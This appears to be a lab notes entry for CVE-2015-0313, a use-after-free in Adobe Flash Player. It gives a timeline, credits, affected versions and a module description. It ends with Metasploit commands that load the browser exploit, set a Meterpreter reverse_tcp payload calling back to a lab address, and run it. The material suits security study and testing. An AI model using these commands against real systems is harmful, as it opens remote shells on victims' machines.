CVE-2015-0313 Adobe Flash Player ByteArray With Workers Use After Free

Timeline :

Vulnerability found exploited in the wild by TrendMicro in January 2015
Patch provided by the vendor via APSA15-02 the 2015-02-02
Details of the vulnerability provided by TrendMicro the 2015-02-04
Metasploit PoC provided the 2015-03-28

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0313
APSA15-02

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions for Windows and Macintosh

Tested on :

Windows 7 SP1 with IE 8 and Flash 16.0.0.296

Description :

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, which can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

Commands :

use exploit/windows/browser/adobe_flash_worker_byte_array_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid